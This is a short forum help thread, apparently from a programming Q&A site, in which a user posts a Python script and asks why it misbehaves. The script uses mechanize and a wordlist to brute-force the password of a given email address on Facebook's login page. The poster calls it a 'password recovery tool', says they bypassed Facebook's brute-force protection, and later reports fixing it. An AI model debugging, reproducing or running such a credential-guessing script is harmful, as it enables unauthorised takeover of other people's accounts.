+ 2
My code isn't working how it should. Any ideas? code in comment section
3 ответов
+ 1
import random
import mechanize
import cookielib
br = mechanize.Browser()
useragents = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
email = raw_input("Email address: ")
br.addheaders = [('User-agent', random.choice(useragents))]
cj = cookielib.LWPCookieJar()
br.set_handle_equiv(True)
br.set_handle_referer(True)
br.set_handle_redirect(True)
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1)
br.set_cookiejar(cj)
passlist = raw_input("Path to Wordlist: ")
try:
passlist = open(passlist, "r")
except:
print "Wordlist not found!"
quit()
url = "https://www.facebook.com/login.php?login_attempt=1"
br.open(url)
for password in passlist:
br.select_form(nr=0)
br.form['email'] = email
br.form['pass'] = password.strip()
r = br.submit()
if (r != url) and (not 'login_attempt' in r):
print "Password found: " + password.strip()
else:
print "Wrong password:",password.strip()
+ 1
It is a facebook password recovery tool, and It says Password found on wrong passwords as well . I bypassed facebooks bruteforce/dictionary attack protection ...
+ 1
Nvm i fixed it